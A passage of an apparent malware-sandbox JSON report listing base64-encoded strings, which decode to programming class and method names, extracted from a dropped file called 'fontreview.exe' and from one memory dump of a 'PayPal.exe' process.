File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FsY3VsYXRlUGFyc2Vy","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FsY3VsYXRlUG9saWN5","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FsY3VsYXRlUG9vbA==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FsY3VsYXRlUHJlZGljYXRl","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FsY3VsYXRlUHJpbnRlcg==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FsY3VsYXRlUHJvYw==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FsY3VsYXRlUHJvY2Nlc29y","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FsY3VsYXRlUHJvY2Vzcw==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FsY3VsYXRlUHJvZHVjZXI=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FsY3VsYXRlUHJvZHVjdA==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FsY3VsYXRlUHJvcGVydHk=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FsY3VsYXRlUHJvdG90eXBl","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FsY3VsYXRlUHJveHk=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FsY3VsYXRlUHVibGlzaGVy","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FsY3VsYXRlUXVldWU=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FsY3VsYXRlUmVhZGVy","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FsY3VsYXRlUmVm","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FsY3VsYXRlUmVnaXN0cnk=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FsY3VsYXRlUmVwb25zZQ==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FsY3VsYXRlUmVwb3NpdG9yeQ==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FsY3VsYXRlUmVzb2x2ZXI=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FsY3VsYXRlUm9sZQ==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FsY3VsYXRlUnVsZXM=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FsY3VsYXRlU2NoZW1h","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FsY3VsYXRlU2VyaWFsaXplcg==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FsY3VsYXRlU2VydmVy","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FsY3VsYXRlU2V0dGVy","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FsY3VsYXRlU2luZ2xldG9u","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FsY3VsYXRlU3BlY2lmaWNhdGlvbg==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FsY3VsYXRlU3RhdHVz","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FsY3VsYXRlU3RyYXRlZ3k=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FsY3VsYXRlU3RydWN0","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FsY3VsYXRlU3R1Yg==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FsY3VsYXRlVGFn","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FsY3VsYXRlVGVtcGxhdGU=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FsY3VsYXRlVGVzdA==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FsY3VsYXRlVGVzdHM=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FsY3VsYXRlVGhyZWFk","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FsY3VsYXRlVG9rZW4=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FsY3VsYXRlVXRpbHM=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FsY3VsYXRlVmFsdWU=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FsY3VsYXRlVmlzaXRvcg==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FsY3VsYXRlV2F0Y2hlcg==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FsY3VsYXRlV29ya2Vy","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FsY3VsYXRlV3JhcHBlcg==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FsY3VsYXRvcg==","type":"Unicode","source":"Memory/File Scan","process":"PayPal.exe","filename":"00099768-00003800.00000002.103931.00789000.00000002.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"Q2FsY1V0aWxz","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FsY1ZhbHVl","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FsY1Zpc2l0b3I=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FsY1dhdGNoZXI=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FsY1dvcmtlcg==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FsY1dyYXBwZXI=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"$64","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FsbCB3aXRoIHBvaW50ZXIgaW5zdGVhZA==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FsbEFkYXB0ZXI=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FsbEFkdmlzb3I=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FsbEFubm90YXRpb24=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FsbEF0dHJpYnV0ZQ==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FsbEF1dGhlbnRpY2F0aW9u","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FsbGJhY2tBbGdv","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Y2FsbGJhY2tDbGllbnQ=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Y2FsbGJhY2tEZWZpbml0aW9u","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FsbGJhY2tFcnJvcmAx","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FsbGJhY2tFcnJvckltcG9ydGVy","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FsbGJhY2tGaWx0ZXJDb21w","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Y2FsbGJhY2tHbG9iYWw=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Y2FsbGJhY2tJdGVyYXRvcg==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FsbGJhY2tNYXBwaW5nU3RhdHVz","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FsbGJhY2tQYWdlVmlzaXRvcg==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Y2FsbGJhY2tQYXJhbWV0ZXI=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Y2FsbGJhY2tSZXBvbnNl","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Y2FsbGJhY2tSZXF1ZXN0","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Y2FsbGJhY2tz","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FsbGJhY2tTY2hlbWE=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FsbGJhY2tTZXJ2aWNlTGljZW5zZQ==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Y2FsbGJhY2tUYWc=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FsbEJyb2FkY2FzdGVy","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FsbENhbmRpZGF0ZQ==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FsbENsYXNz","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FsbENsaWVudA==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FsbENvbGxlY3Rpb24=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FsbENvbXBvc2Vy","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FsbENvbmZpZw==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FsbENvbmZpZ3VyYXRpb24=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FsbENvbm5lY3Rpb24=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FsbENvbnN1bWVy","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FsbENvbnRhaW5lcg==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FsbENyZWF0b3I=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FsbEN1c3RvbWVy","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FsbERhdGFiYXNl","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FsbERlY29yYXRvcg==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FsbERlZmluaXRpb24=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FsbERpc3BhdGNoZXI=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Y2FsbGVyMl9QdHI=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Y2FsbGVyX2NvdW50","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Y2FsbGVyX2VuZA==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Y2FsbGVyX0xvdw==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Y2FsbGVyX3N0YXJ0","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Y2FsbGVyY2xvc2U=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Y2FsbGVybmVlZGVk","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Y2FsbGVyUG9zaXRpb24=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FsbEVycm9y","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Y2FsbGVyc2l6ZQ==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FsbEV4Y2VwdGlvbg==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FsbEV4cG9ydGVy","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FsbEV4cHJlc3Npb24=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FsbEZhY2FkZQ==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FsbEZhY3Rvcnk=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FsbEZhaWx1cmVBY2NvdW50","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FsbEZhaWx1cmVBZGFwdGVy","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FsbEZhaWx1cmVBZHZpc29y","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FsbEZhaWx1cmVBbm5vdGF0aW9u","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FsbEZhaWx1cmVBdHRy","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FsbEZhaWx1cmVBdHRyaWJ1dGU=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FsbEZhaWx1cmVBdXRoZW50aWNhdGlvbg==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FsbEZhaWx1cmVCcm9hZGNhc3Rlcg==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FsbEZhaWx1cmVDYWxsYmFjaw==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FsbEZhaWx1cmVDYW5kaWRhdGU=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FsbEZhaWx1cmVDbGllbnQ=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FsbEZhaWx1cmVDb2xsZWN0aW9u","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FsbEZhaWx1cmVDb21wYXJhdG9y","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FsbEZhaWx1cmVDb21wb3Nlcg==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FsbEZhaWx1cmVDb25maWd1cmF0aW9u","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FsbEZhaWx1cmVDb25uZWN0aW9u","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FsbEZhaWx1cmVDb250YWluZXI=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FsbEZhaWx1cmVDb250ZXh0","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FsbEZhaWx1cmVDcmVhdG9y","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FsbEZhaWx1cmVDdXN0b21lcg==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FsbEZhaWx1cmVEYXRhYmFzZQ==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FsbEZhaWx1cmVEZWZpbml0aW9u","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FsbEZhaWx1cmVEZXNjcmlwdG9y","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FsbEZhaWx1cmVEaWM=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FsbEZhaWx1cmVEaXNwYXRjaGVy","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FsbEZhaWx1cmVFcnJvcg==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FsbEZhaWx1cmVFdmVudA==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FsbEZhaWx1cmVFeHBvcnRlcg==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FsbEZhaWx1cmVFeHByZXNzaW9u","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FsbEZhaWx1cmVGYWN0b3J5","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FsbEZhaWx1cmVGaWVsZA==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FsbEZhaWx1cmVGaWx0ZXI=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FsbEZhaWx1cmVHbG9iYWw=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FsbEZhaWx1cmVIZWxwZXI=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FsbEZhaWx1cmVJZGVudGlmaWVy","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FsbEZhaWx1cmVJbXBvcnRlcg==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FsbEZhaWx1cmVJbmZv","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FsbEZhaWx1cmVJbnN0YW5jZQ==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FsbEZhaWx1cmVJbnRlcmNlcHRvcg==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FsbEZhaWx1cmVJbnRlcnByZXRlcg==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FsbEZhaWx1cmVJbnZvY2F0aW9u","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FsbEZhaWx1cmVJc3N1ZXI=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FsbEZhaWx1cmVJdGVyYXRvcg==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FsbEZhaWx1cmVNYXA=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FsbEZhaWx1cmVNYXBwZXI=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FsbEZhaWx1cmVNZXNzYWdl","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FsbEZhaWx1cmVNZXRob2Q=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FsbEZhaWx1cmVNb2Nr","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FsbEZhaWx1cmVPcmRlcg==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FsbEZhaWx1cmVQYXJhbQ==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FsbEZhaWx1cmVQYXJhbWV0ZXI=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FsbEZhaWx1cmVQYXJzZXI=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FsbEZhaWx1cmVQb2xpY3k=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FsbEZhaWx1cmVQb29s","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FsbEZhaWx1cmVQcmVkaWNhdGU=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FsbEZhaWx1cmVQcmludGVy","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FsbEZhaWx1cmVQcm9jY2Vzb3I=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FsbEZhaWx1cmVQcm9jZXNz","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FsbEZhaWx1cmVQcm9kdWNlcg==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FsbEZhaWx1cmVQcm94eQ==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FsbEZhaWx1cmVRdWV1ZQ==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FsbEZhaWx1cmVSZWFkZXI=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FsbEZhaWx1cmVSZWNvcmQ=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FsbEZhaWx1cmVSZWY=","type":"Ansi","source":"Dropped 